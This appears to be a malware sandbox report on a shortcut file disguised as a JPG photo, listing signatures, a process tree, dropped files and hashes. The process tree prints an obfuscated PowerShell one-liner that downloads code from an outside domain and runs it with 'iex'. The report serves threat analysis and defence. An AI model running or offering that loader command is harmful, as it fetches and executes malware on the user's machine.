Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 10:18

General

  • Target
    IMG_20260727_124308.jpg.lnk
  • Size 1KB
  • Sample260728-mcaeaagf45
  • SHA256 7967eb51355bde1fe06512fdada08b426732531eeb08e3dfbfd5eb76c27c5185
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 43 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_124308.jpg.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4700
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('rvphotoinstaynow.shop','rese')[1,0] -join $l1dGSIa) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3180
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\50nk5pka\50nk5pka.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1656
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES10BF.tmp" "c:\Users\Admin\AppData\Local\Temp\50nk5pka\CSCEB411FBB779B4B1297BEAC2D4E1A09F.TMP"
          4⤵
            PID:4436

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          50nk5pka.dll

          • Path C:\Users\Admin\AppData\Local\Temp\50nk5pka\50nk5pka.dll
          • Size 3KB
          • SHA256 a5c43a7dcc17d995ca61b113166b2be498dd6cf909873020a210bfec8920c02a
          • MD5 SHA1 SHA512 TLSH

          RES10BF.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES10BF.tmp
          • Size 1KB
          • SHA256 e3cfb19acfe327bc634d3e09db023e0c748a826868726f9fa77119dc12afbe67
          • MD5 SHA1 SHA512 TLSH

          50nk5pka.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\50nk5pka\50nk5pka.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          50nk5pka.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\50nk5pka\50nk5pka.cmdline
          • Size 369B
          • SHA256 759fde5f79b2a088f8cc9bc0b3c521788358d429f5a0c2e19197272f4cfcb76d
          • MD5 SHA1 SHA512 TLSH

          CSCEB411FBB779B4B1297BEAC2D4E1A09F.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\50nk5pka\CSCEB411FBB779B4B1297BEAC2D4E1A09F.TMP
          • Size 652B
          • SHA256 af9c69d6ee5a6b4c962e0ff55ac559a2805cbbcb2a1d35b644870f021a82c74e
          • MD5 SHA1 SHA512 TLSH

          memory/3180-9-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

          memory/3180-7-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

          memory/3180-11-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

          memory/3180-12-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

          memory/3180-13-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

          memory/3180-14-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

          memory/3180-15-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

          memory/3180-2-0x00007FFB132DF000-0x00007FFB132E0000-memory.dmp

          memory/3180-8-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

          memory/3180-10-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

          memory/3180-6-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

          memory/3180-28-0x0000020281D10000-0x0000020281D18000-memory.dmp

          memory/3180-5-0x00000202E76F0000-0x00000202E7712000-memory.dmp

          memory/3180-30-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

          memory/3180-31-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

          memory/3180-32-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

          memory/3180-33-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp